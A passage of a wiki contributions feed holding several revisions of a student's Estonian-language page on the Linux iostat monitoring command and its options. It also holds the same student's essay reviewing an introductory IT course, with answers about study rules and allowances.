&amp;lt;td&amp;gt;-d&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;Näitab seadmete kasutuse raportit.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;-g group_name { device [...] | ALL }&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt; Näitab seadmete grupi statistikat. Näidatakse andmeid iga grupis oleva seadme kohta ja lisaks seadmete grupi kohta kokku. ALL käsk määrab, et kõiki süsteemi poolt defineeritud plokkseadmeid loetakse gruppi kuuluvaks.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;-h&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;Muudab kuvatud mõõtühikuid kergemini loetavaks (human readable). &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;-k&amp;lt;/td&amp;gt; 	&amp;lt;td&amp;gt;Näitab andmeid kb/s.&amp;lt;/td&amp;gt; &lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;-m&amp;lt;/td&amp;gt; 	&amp;lt;td&amp;gt;Näitab andmeid Mb/s.&amp;lt;/td&amp;gt; &lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;-N&amp;lt;/td&amp;gt; 	&amp;lt;td&amp;gt;Näitab infot device mapper&#039;i kohta. Kasulik LVM2 jälgimiseks.&amp;lt;/td&amp;gt; &lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;-p [ { device [,...] | ALL } ]&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;Näitab andmeid plokkseadmete ja nende partitsioonide kohta. Kui seadme nimi on lisatud, siis näidatakse infot selle seadme ja tema partitsioonide kohta. ALL näitab kõiki süsteemi partitsioone ja plokkseadmeid. &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;-T&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;Seda võtit peab kasutama koos -g võtmega ja määrab, et näidatakse andmeid grupi kohta kokku, mitte üksikute seadmete jaoks. &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;-t&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;Näita iga raporti aega. &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;-V&amp;lt;/td&amp;gt; 	&amp;lt;td&amp;gt;Prindi versiooni number ja tekst. &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;-x&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;Näita laiendatud statistikat. &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;-z&amp;lt;/td&amp;gt; 	&amp;lt;td&amp;gt;Ära kuva seadmeid, mis pole näidisperioodi (sample period) jooksul olnud aktiivsed.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt; &lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:Operatsioonisüsteemide administreerimine ja sidumine]]&lt;/div&gt;</summary>
		<author><name>Eprudnik</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Iostat&amp;diff=82366</id>
		<title>Iostat</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Iostat&amp;diff=82366"/>
		<updated>2014-11-08T17:20:44Z</updated>

		<summary type="html">&lt;p&gt;Eprudnik: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&#039;&#039;&#039;&#039;&#039;&lt;br /&gt;
= Iostat =&lt;br /&gt;
&#039;&#039;&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Elina Prudnikova A21&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&#039;&#039;&lt;br /&gt;
== Lühikirjeldus ==&lt;br /&gt;
&#039;&#039;&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Iostat&#039;i kasutatakse sisend/väljund  seadmete toimimise jälgimiseks. Näitab infot ka protsessori, võrgu, ketaste ja partitsioonide kohta. Iostat&#039;i raportid on abiks süsteemi sisend/väljund seadmete optimiseerimiseks. &lt;br /&gt;
&lt;br /&gt;
Esimene raport näitab andmeid alates süsteemi alglaadimisest. Iga järgnev raport näitab aega alates eelmisest raportist. &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
== Süntaks ==&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;iostat [ -c ] [ -d ] [ -h ] [ -N ] [ -k | -m ] [ -t ] [ -V ] [ -x ] &lt;br /&gt;
       [ -z ] [ [ [ -T ] -g group_name ] { device [...] | ALL } ] &lt;br /&gt;
       [ -p [ device [,...] | ALL ] ] [ interval [ count ] ]&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
== Võtmed ==&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
-c 	Näitab protsessori kasutuse raportit. &lt;br /&gt;
-d 	Näitab seadmete kasutuse raportit.&lt;br /&gt;
-g group_name { device [...] | ALL } 	Näitab seadmete grupi statistikat. Näidatakse andmeid iga grupis oleva seadme kohta ja lisaks seadmete grupi kohta kokku. ALL käsk määrab, et kõiki süsteemi poolt defineeritud plokkseadmeid loetakse gruppi kuuluvaks. &lt;br /&gt;
-h 	Muudab kuvatud mõõtühikuid kergemini loetavaks (human readable). &lt;br /&gt;
-k 	Näitab andmeid kb/s. &lt;br /&gt;
-m 	Näitab andmeid Mb/s. &lt;br /&gt;
-N 	Näitab infot device mapper&#039;i kohta. Kasulik LVM2 jälgimiseks. &lt;br /&gt;
-p [ { device [,...] | ALL } ] 	Näitab andmeid plokkseadmete ja nende partitsioonide kohta. Kui seadme nimi on lisatud, siis näidatakse infot selle seadme ja tema partitsioonide kohta. ALL näitab kõiki süsteemi partitsioone ja plokkseadmeid. &lt;br /&gt;
&lt;br /&gt;
-T 	Seda võtit peab kasutama koos -g võtmega ja määrab, et näidatakse andmeid grupi kohta kokku, mitte üksikute seadmete jaoks. &lt;br /&gt;
-t 	Näita iga raporti aega. &lt;br /&gt;
-V 	Prindi versiooni number ja tekst. &lt;br /&gt;
-x 	Näita laiendatud statistikat. &lt;br /&gt;
-z 	Ära kuva seadmeid, mis pole näidisperioodi (sample period) jooksul olnud aktiivsed. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Operatsioonisüsteemide administreerimine ja sidumine]]&lt;/div&gt;</summary>
		<author><name>Eprudnik</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Iostat&amp;diff=82365</id>
		<title>Iostat</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Iostat&amp;diff=82365"/>
		<updated>2014-11-08T17:19:31Z</updated>

		<summary type="html">&lt;p&gt;Eprudnik: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&#039;&#039;&#039;&#039;&#039;&lt;br /&gt;
= Iostat =&lt;br /&gt;
&#039;&#039;&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Elina Prudnikova A21&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&#039;&#039;&lt;br /&gt;
== Lühikirjeldus ==&lt;br /&gt;
&#039;&#039;&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Iostat&#039;i kasutatakse sisend/väljund  seadmete toimimise jälgimiseks. Näitab infot ka protsessori, võrgu, ketaste ja partitsioonide kohta. Iostat&#039;i raportid on abiks süsteemi sisend/väljund seadmete optimiseerimiseks. &lt;br /&gt;
&lt;br /&gt;
Esimene raport näitab andmeid alates süsteemi alglaadimisest. Iga järgnev raport näitab aega alates eelmisest raportist. &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
== Süntaks ==&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;iostat [ -c ] [ -d ] [ -h ] [ -N ] [ -k | -m ] [ -t ] [ -V ] [ -x ] &lt;br /&gt;
       [ -z ] [ [ [ -T ] -g group_name ] { device [...] | ALL } ] &lt;br /&gt;
       [ -p [ device [,...] | ALL ] ] [ interval [ count ] ]&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
== Võtmed ==&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
-c 	Näitab protsessori kasutuse raportit. &amp;lt;p&amp;gt;&lt;br /&gt;
-d 	Näitab seadmete kasutuse raportit. &amp;lt;p&amp;gt;&lt;br /&gt;
-g group_name { device [...] | ALL } 	Näitab seadmete grupi statistikat. Näidatakse andmeid iga grupis oleva seadme kohta ja lisaks seadmete grupi kohta kokku. ALL käsk määrab, et kõiki süsteemi poolt defineeritud plokkseadmeid loetakse gruppi kuuluvaks. &amp;lt;p&amp;gt;&lt;br /&gt;
-h 	Muudab kuvatud mõõtühikuid kergemini loetavaks (human readable). &amp;lt;p&amp;gt;&lt;br /&gt;
-k 	Näitab andmeid kb/s. &amp;lt;p&amp;gt;&lt;br /&gt;
-m 	Näitab andmeid Mb/s. &amp;lt;p&amp;gt;&lt;br /&gt;
-N 	Näitab infot device mapper&#039;i kohta. Kasulik LVM2 jälgimiseks. &amp;lt;p&amp;gt;&lt;br /&gt;
-p [ { device [,...] | ALL } ] 	Näitab andmeid plokkseadmete ja nende partitsioonide kohta. Kui seadme nimi on lisatud, siis näidatakse infot selle seadme ja tema partitsioonide kohta. ALL näitab kõiki süsteemi partitsioone ja plokkseadmeid. &amp;lt;p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
-T 	Seda võtit peab kasutama koos -g võtmega ja määrab, et näidatakse andmeid grupi kohta kokku, mitte üksikute seadmete jaoks. &amp;lt;p&amp;gt;&lt;br /&gt;
-t 	Näita iga raporti aega. &amp;lt;p&amp;gt;&lt;br /&gt;
-V 	Prindi versiooni number ja tekst. &amp;lt;p&amp;gt;&lt;br /&gt;
-x 	Näita laiendatud statistikat. &amp;lt;p&amp;gt;&lt;br /&gt;
-z 	Ära kuva seadmeid, mis pole näidisperioodi (sample period) jooksul olnud aktiivsed. &amp;lt;p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Operatsioonisüsteemide administreerimine ja sidumine]]&lt;/div&gt;</summary>
		<author><name>Eprudnik</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Iostat&amp;diff=81228</id>
		<title>Iostat</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Iostat&amp;diff=81228"/>
		<updated>2014-11-03T18:33:21Z</updated>

		<summary type="html">&lt;p&gt;Eprudnik: Created page with &amp;quot;Iostat  Elina Prudnikova A21  Category:Operatsioonisüsteemide administreerimine ja sidumine&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Iostat&lt;br /&gt;
&lt;br /&gt;
Elina Prudnikova A21&lt;br /&gt;
&lt;br /&gt;
[[Category:Operatsioonisüsteemide administreerimine ja sidumine]]&lt;/div&gt;</summary>
		<author><name>Eprudnik</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=User:Eprudnik&amp;diff=66151</id>
		<title>User:Eprudnik</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=User:Eprudnik&amp;diff=66151"/>
		<updated>2013-10-23T20:14:55Z</updated>

		<summary type="html">&lt;p&gt;Eprudnik: Created page with &amp;quot;= I020 Õpingukorraldus ja erialatutvustus arvestustöö =  Autor: Elina Prudnikova &amp;lt;br&amp;gt; Rühm: 11 &amp;lt;br&amp;gt; Esitamise kuupäev: 23. oktoober 2013 &amp;lt;br&amp;gt;   == Essee ==  Tegemist oli sis…&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= I020 Õpingukorraldus ja erialatutvustus arvestustöö =&lt;br /&gt;
&lt;br /&gt;
Autor: Elina Prudnikova &amp;lt;br&amp;gt;&lt;br /&gt;
Rühm: 11 &amp;lt;br&amp;gt;&lt;br /&gt;
Esitamise kuupäev: 23. oktoober 2013 &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Essee ==&lt;br /&gt;
&lt;br /&gt;
Tegemist oli sissejuhatava ainega esimese aasta IT üliõpilaste jaoks. Kuna olin IT valdkonnas eelnevalt kolm aastat ülikoolis õppinud, siis ei olnud kõik loengud minu jaoks võrdselt huvitavad, aga kõigis oli midagi kasulikku. Räägiti väga paljudel teemadel, küberkuritegevusest psühholoogiani välja. Aine eesmärk oli tutvustada IT eriala üldiselt. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Esimeses loengus räägiti õppekorraldusest, IT Kolledžist üldiselt, õppekoormustest, stipendiumitest, tagasisidest jne. Lisaks natuke üldist juttu kõrgkoolis õppimise kohta. Kuna enne IT Kolledžisse tulekut olin põhjalikult kogu selle infoga tutvunud, siis oli esimene loeng minu jaoks juba teadaolevate asjade ülekordamine, mis pole sugugi halb, sest ikka võib olulist infot kahe silma vahele jääda. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Teises loengus räägiti õppimisest ja motivatsioonist. Juhiti tähelepanu sellele, et tudengid kipuvad teoreetiliste ainete tähtsust alahindama, ja see viib alla nende õppeedukust nendes ainetes. Soovitati õppida koos teistega ja neid abistada. See oli minu arvates väga oluline nõuanne, millest oleks mulle eelnevate õpingute ajal palju kasu olnud. Nagu ka paljudes teistes ainetes ja loengutes, rõhutati suhtlemisoskuse ja eneseväljendusoskuse vajalikkust praeguses IT valdkonnas. Jällegi, kuna on tegemist esimese aasta ainega, siis räägiti värsketele tudengitele, et isegi kui aine ei tundu huvitav või vajalik, siis on kindlasti mingi põhjus miks see aine õppekavas sisaldub. Selleks põhjuseks võib olla näiteks õppimis- ja mõtlemisvõime arendamine. Lõpuks räägiti sisemisest motivatsioonist ja sellest, et oma alaga peab aktiivselt tegelema. Tegemist oli üsna huvitava, aga minu jaoks siiski päris üldise loenguga, kus jõuti puudutada väga paljusid teemasid. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kolmandas loengus räägiti innovatsioonist. Räägiti sellest, et tänapäeval ei tähenda innovatsioon lihtsalt mingit suurepärast ideed, vaid oluline on just see idee realiseerida.  Kuna tänapäeval on palju nõudlust ja palju ideid, siis loeb just see, et saaks oma uuenduse võimalikult kiiresti ja õigel ajal valmis, et näha kas see saab edukaks või mitte. Põhimõtteliselt innustas see loeng iseseisvalt mingit projekti käsile võtta, ja mida sel juhul tasuks läbi mõelda. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Neljandas loengus räägiti natuke üldiselt küberkuritegevusest. Põhiliselt sellest, et tänapäeval on küberkuritegevus globaalsel tasemel väga organiseeritud ja tulus, lausa teenus omaette. Seda saab müüa ja osta, kaubeldakse igasuguste konfidentsiaalsete andmetega. Räägiti ka erinevatest ründetüüpidest. Teema aktuaalsus näitab seda, et andmekaitse ja küberturve on tänapäeval väga olulised. Loeng ja selle teema olid huvitavad, aga kahjuks ma ei saanud palju uusi teadmisi, sest olin varem sellel teemal loenguid kuulanud. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Viiendas loengus rääkis Andres Käver enda töökogemusest IT valdkonnas Eestis. Huvitav oli see loeng just seepärast, et loengupidaja oli ise tööandja. Ta rõhutas eriti aktiivsust, huvi enda ala vastu, motiveeritust õppida ja töötada. Taaskord mainiti ka suhtlemisoskuse olulisust. Kasulik soovitus oli võimalikult varakult saada praktilisi kogemusi, kasvõi iseseisvalt. Veel rõhutati seda, et kuna Eesti on väga väike, siis mida rohkem tutvusi IT valdkonnas, seda lihtsam tööd leida jne. Üldiselt väga huvitav loeng, meeldiv kuulata. Mulle isiklikult jäi aga mulje, et loengupidaja arvates on firma- või projektijuht see, kes kõige rohkem loomingulist tööd teeb, kõik teised on pigem &amp;quot;pastakakeerutajad&amp;quot;. Isiklikult ei ole sellega nõus, sest ka tavaline programmeerija teeb väga rasket ja tihti väga loomingulist tööd.  Loengupidaja rääkis muidugi enda seisukohast lähtudes. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kuuendas loengus rääkisid Skype&#039;is töötavad administraatorid natuke Skype&#039;ist ja enda administratiivsest tööst. Üldiselt tundus mõte olevat see, et väike süsteem võib muudkui kasvada ja muutuda väga keeruliseks, mis omakorda on väljakutse selle administreerimisele. See loeng meeldis mulle kõige vähem ja oli raskesti jälgitav. Jäi mulje nagu poleks üks loengupidajatest korralikult ette valmistunud. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Seitsmendas loengus rääkisid firma Nortal kaks töötajat taaskord natuke motivatsioonist ja huvist enda ala vastu. Tutvustasid praktikavõimalusi, mida nende firma pakub ülõpilastele läbi Suveülikooli.  Üldmulje loengust jäi selline, et Nortal vajab palju häid motiveerituid tulevasi tarkvaraarendajaid, ja on selle nimel valmis pakkuma intensiivset koolitust, head kollektiivi ja häid töötingimusi. Kumbki loengupidajatest ei olnud tarkvaraarendajad, võib-olla sellepärast ei rääkinud nad selle kohta natuke konkreetsemalt, näiteks mis keeltes programmeerijaid vaja on jne.  Loeng oli huvitav ja taaskord rõhutas motivatsiooni ja aktiivsuse vajalikkust. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kaheksas loeng oli väga üldine. Selle mõte oli minu jaoks see, et eneseanalüüs on väga kasulik. Tasub otsused enda sees korralikult läbi mõelda ja aru saada, mis on enda jaoks oluline. Lõpuks aitab see elus leida endale õige tee. Minu arvates päris huvitav loeng, just selle psühholoogia teema pärast. Tavaliselt räägitakse motivatsioonist, aga mitte kuidas seda leida. Ma arvan, et eneseanalüüs võiks selle jaoks kasulik olla. Lisaks sellele aitab see kujundada enda suhtumist ja väärtusi, mis on enda jaoks olulised. Kui kõik see on korralikult läbi mõeldud, siis on endal tulevikus kergem. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kokkuvõtvalt, igas loengus oli midagi huvitavat. Räägiti paljudel erinevatel teemadel. Mitu korda rõhutati motivatsiooni, huvi õppimise vastu ja aktiivsuse tähtsust, mis on kõik IT erialal väga kasulikud. Ka suhtlemisoskus on väga oluline ja vajalik, kuna tihti on vaja teha grupitööd. Minu arvates on tegemist hea sissejuhatava ainega IT valdkonda, mis tutvustab erinevaid sellega seonduvaid aspekte.  Kui peaksin midagi muutma, siis jätaksin ära Skype&#039;i loengu. Selle asemel võiks näiteks olla loeng erinevatest IT aladest, kus võiks rääkida, milliseid karjäärivõimalusi on IT spetsialistidel ja millega üldiselt tegeletakse. Teised loengud olid minu arvates asjakohased. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Õpingukorralduse küsimused ja vastused ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Küsimus B&#039;&#039;&#039; &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kukkusid arvestusel läbi. Kaua on võimalik arvestust järele teha? Kellega kokku leppida, et järelarvestust teha? Kuidas toimub järelarvestusele registreerimine? Mis on tähtajad? Palju maksab, kui oled riigi finantseeritaval (RF) õppekohalkohal? Palju maksab, kui oled tasulisel (OF) õppekohal kohal? &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Vastus:&#039;&#039;&#039; 5.4.4. Õigus kordusarvestusteks kehtib kuni ülejärgmise semestri punase joone päevani. Kordusarvestuste tähtajad määrab ainet õpetav õppejõud kooskõlas õppeosakonnas koostatud soovitusliku ajakavaga. 5.2.8. Eksamile/ arvestusele registreerumine on nõutav: 5.2.8.1. korduseksami ja -arvestuse puhul ÕISis. 5.2.7. Korduseksamid ja -arvestused on REV/tasulisel õppekohal õppijatele tasulised. Tasu suurus kehtestatakse rektori käskkirjaga ja arve kuvatakse ÕISis. Kordussoorituse tasu (REV ja OF tudeng) - 20 €. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[http://www.itcollege.ee/tudengile/eeskirjad-ja-juhendid/oppekorraldus-eeskiri/ Õppekorralduse eeskiri]&lt;br /&gt;
[http://www.itcollege.ee/tudengile/finantsinfo/pangarekvisiidid/ Õppeteenused]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Küsimus 5&#039;&#039;&#039; &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Millised eeldused peavad olema täidetud vajaduspõhise õppetoetuse saamiseks ja millest sõltub toetuse suurus? Mida peab toetuse saamiseks tegema? (Vastake kokkuvõtlikult) Mis on minimaalne ainepunkide arv semestris õppetoetuse saamiseks? &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Vastus:&#039;&#039;&#039; 2.2. Üliõpilasel (alates sisseastumine 2013/14) on õigus saada vajaduspõhist õppetoetust, kui: ta on Eesti kodanik, ta õpib täiskoormusega ja on algavaks semestriks täitnud eelmistel semestritel õppekava sellises mahus, nagu see on ette nähtud või ta õpib täiskoormusega esimesel semestril. Keskmine sissetulek ei tohi ületada vajaduspõhise toetuse saamiseks kehtestatud ülempiiri. Toetuse saamiseks tuleb esitada ÕIS&#039;is taotlus. Taotlused õppetoetuse saamiseks sügissemestril tuleb esitada 23. septembriks ja kevadsemestril 23. veebruariks. &amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
[http://www.itcollege.ee/tudengile/finantsinfo/riiklike-oppetoestuste-taotlemise-ja-maksmise-kord-eesti-infotehnoloogia-kolledzis/ Õppetoetused] &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Ülesanne&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Koodi kaks viimast numbrit on 99.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
X = 28 EAP&amp;lt;br&amp;gt;&lt;br /&gt;
Y = 28 EAP&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Esimesel semestril arvet ei teki, sest semestri minimaalne ainepunktide arv on 27 EAP. Teise semestri lõpus arvet ka ei teki, sest õppur peab aastas koguma vähemalt 45 EAP. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[http://www.itcollege.ee/tudengile/kkk/korgharidusreform-kkk/ KKK]&lt;br /&gt;
&lt;br /&gt;
[[Category:Erialatutvustus 2013]]&lt;/div&gt;</summary>
		<author><name>Eprudnik</name></author>
	</entry>
</feed>